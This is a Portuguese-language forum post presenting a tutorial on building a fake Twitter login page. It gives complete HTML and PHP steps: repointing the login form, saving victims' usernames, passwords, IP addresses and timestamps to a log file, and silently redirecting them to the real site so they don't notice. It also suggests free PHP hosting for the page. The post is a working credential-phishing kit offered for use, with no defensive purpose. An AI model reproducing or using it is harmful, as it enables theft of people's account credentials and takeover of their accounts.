Script Defenders
Você Não Tem Uma Conta ?

Então Clique Em Registrar-Se E Faça Uma Agora Mesmo !

Vagas Abertas !

Como criar pagina fake - #Script Defenders

Ir em baixo

Como criar pagina fake - #Script Defenders

Mensagem  Nickguitar em Dom Jul 01, 2012 12:17 pm

Criando página fake

Me impressiona a quantidade de pessoas com dificuldade em 'fakear' uma página existente. Já recebi inúmeras mensagens com pessoas pedindo ajuda para tal.
Vou mostrar que é relativamente simples.

Neste tutorial simples de meio de semana, entre uma prova e um trabalho, vamos criar uma página fake simples. Nosso alvo é o Twitter (escolhido à dedo).
Primeiramente, vamos navegar até a página que desejamos 'fakear' (novo verbo?). Como queremos a página inicial (de login), vamos simplesmente abrí-lo no navegador.
Agora, precisamos obter imagens, folhas de estilo e outras mídias que fazem a página funcionar. Para isso, dê um [Ctrl] + [S] na página. Salve-o em uma pasta em seu computador, com o nome 'index'.
Note que o navegador criou a pasta 'index.htm' e a pasta 'index_arquivos' (ou 'index_files').
Trabalharemos com a linguagem de programação web PHP. Para começar, vamos renomear o arquivo salvo 'index.htm' para 'index.php'.
Abra o arquivo 'index.php' com um editor de códigos (ou mesmo o Bloco de notas). Agora, vamos precisar localizar o formulário de login.
Na página que será fakeada, ainda aberta em nosso navegador, vamos localizar alguns textos que possam nos facilitar encontrar o formulário de login no código HTML.
Note que dentro do campo de login temos a palavra 'Nome de usuário ou e-mail', em placeholder.

"Placeholder" é um recurso de HTML5 que cria um texto em um controle que desaparece quando o campo recebe foco, e reaparece após perder o foco, caso o campo esteja vazio.

No código HTML que abrimos do arquivo 'index.php', vamos procurar ([Ctrl] + [F]) pelo texto "Nome de usuário ou e-mail".
Encontrei essa linha:

Código:
<span>Nome de usuário ou e-mail</span>

(sempre achei que o Twitter usava o recurso 'placeholder' do HTML5, mas a verdade é que eles simulam um placeholder (o porquê eu não sei))
Agora, basta um conhecimento mínimo em HTML: um formulário é indicado pela tag <form>. Exemplo:

Código:
<form action="acao" method="método">
<!-- código do formulário -->
</form>

Veja como se inicia ('<form') e como termina ('</form>') um formulário em HTML. Vamos usar o olhar crítico e tentar julgar que formulário corresponde ao login.
Use o bom-senso. Temos grandes chances de que o texto que encontramos usando o [Ctrl] + [F] esteja entre o início e o fim do formulário. Bons editores de códigos, com recursos como colorização do código, podem te ajudar (e muito!).
Neste caso (do Twitter), temos:


Código:
              <form action="https://twitter.com/sessions?phx=1" class="js-signin signin" method="post">
  <fieldset class="textbox">
  <label class="username js-username">
    <span>Nome de usuário ou e-mail</span>
   
  <input class="js-username-field email-input" type="text" value="" name="session[username_or_email]" autocomplete="on"></label>
  <label class="password js-password">
    <span>Senha</span>
   
  <input class="js-password-field" type="password" value="" name="session[password]"></label>
</fieldset>

  <fieldset class="subchck">
  <label class="remember">
    <input type="checkbox" value="1" name="remember_me">
    <span>Lembrar-me</span>
  </label>
  <button type="submit" class="btn submit">Entrar</button>
</fieldset>

<input type="hidden" name="scribe_log">
<input type="hidden" name="redirect_after_login" value="">

  <div class="divider"></div>
  <p>
    <a class="forgot" href="http://twitter.com/account/resend_password">Esqueceu sua senha?</a><br>
    <a class="mobile has-sms" href="http://twitter.com/account/complete">Já utiliza o Twitter via mensagem de texto?</a>
  </p>
</form>

Agora vamos precisar mudar o "action" (ação) do formulário, já que ele está apontando para a página do Twitter.
Se não inserirmos nada no action, o renderizador HTML do navegador automaticamente o definirá como sendo a página atual. Neste caso, faremos:
Código HTML:

Código:
<form action="" class="js-signin signin" method="post">

Vamos verificar também o método (method) do formulário. Para logins, costuma-se sempre usar "post", mas também é possível usar "get" (embora os dados enviados sejam vistos pela URL).
Neste caso, o método é 'post'.
Vamos guardar também os nomes dos campos de textos que queremos obter. Agora o que vale é sua visão.
No código do formulário, o temos em ordem: o label (nome de um campo) 'Nome de usuário ou e-mail', o campo de login, o label 'Senha' e o campo de senha.
Precisamos obter os nomes (name) desses campos (input). Usaremos os campos session[username_or_email] e session[password]. Note que trata-se de um array (vetor) 'session'. Você pode alterar os nomes, mas não é interessante.
Ok, vamos ao topo (primeira linha) do código HTML da página (index.php) e iniciar a programar o que salvará as senhas para nós.
Precisamos ver se o login e a senha estão setadas.

Código:
<?php
if(isset($_POST['session']['username_or_email']) AND isset($_POST['session']['password'])) {
Como já dissemos, os nomes dos campos são um vetor 'session' (vemos isso pelos sinais '[' e ']'). Por isso escrevemos daquele jeito.

Mas, vamos dar outro exemplo: digamos que o nome do campo de login seja apenas 'username_or_email', e não 'session[username_or_email]'. Neste caso, obteríamos este campo da seguinte forma:
Código:

    $_POST['username_or_email']; // name="username_or_email"
    $_POST['session']['username_or_email']; // name="session[username_or_email]"
E outra: por que estamos utilizando '$_POST'? Lembra-se do método do formulário (post)?
E se o método fosse 'get', usaríamos '$_GET'.

Continuando o código, estamos dentro de uma condicional IF. Isto quer dizer que o código que escrevermos agora, até o fechamento com '}', só será executado caso o login e a senha estejam setados.
Vamos jogar cada um para uma variável, para ficar mais fácil na hora de re-obter estes dados (menos caracteres para digitar). Vamos obter também o IP e a data/hora atual:

Código:
$login = $_POST['session']['username_or_email'];
$senha = $_POST['session']['password'];
$ip = $_SERVER['REMOTE_ADDR'];
$data = date("d/m/Y H:i:s");
E então, vamos gravar estes dados no arquivo 'log.txt'.


Código:
$abrir = fopen("log.txt", "a+"); // abrimos o arquivo para edição, adicionando novo conteúdo sem apagar o conteúdo anterior
fwrite($abrir, "\nLogin: $login
Senha: $senha
IP: $ip
Data: $data\n"); // adicionamos uma linha ao início e ao final, para separar melhor com 2 linhas cada registro ('\n' é o mesmo que um Enter)
fclose($abre); // fechamos o arquivo


Vamos agora redirecionar o usuário à página de login verdadeira, mas mantendo os dados enviados pelo formulário, para que o usuário se logue normalmente, sem saber do que ocorreu.
Para isso, adicionamos um HTTP Header com redirecionamento para o "action" original do formulário e status 307.


Código:
header("Location: https://twitter.com/sessions?phx=1", TRUE, 307);
exit; // em seguida, vamos parar a execução
} // e fechar a condicional 'IF'
// aí abaixo, o código original da página fake:
?>
<!DOCTYPE html>
(...)


Agora nós devemos criar o arquivo 'log.txt' (você pode colocar outro nome ou mesmo outra pasta, mas terá que alterar no 'fopen' do código). Dependendo do servidor, é necessário dar CHMOD 777 (permissão total (escrita e leitura)) neste arquivo. Isto é feito pelo gerenciador de arquivos (como um cliente FTP).



Onde hospedar? Precisamos de um servidor que suporte PHP.
Isto é extremamente fácil de achar. Procure 'free php webhost' no Google.
A partir daí, basta enviar todos os arquivos.
O problema é que servidores gratuitos costumam excluir contas com páginas fake.
Como (na verdade) páginas fake não são minha praia, vou deixar esta pergunta para que alguém mais 'do ramo' possa responder.
Até a próxima!
avatar
Nickguitar
Admin
Admin

Mensagens : 43
Reputação : 0
Data de inscrição : 03/03/2012
Localização : C:\\Windows\System32

http://scriptdefenders.forumeiros.com

Voltar ao Topo Ir em baixo

Voltar ao Topo

- Tópicos similares

 
Permissão deste fórum:
Você não pode responder aos tópicos neste fórum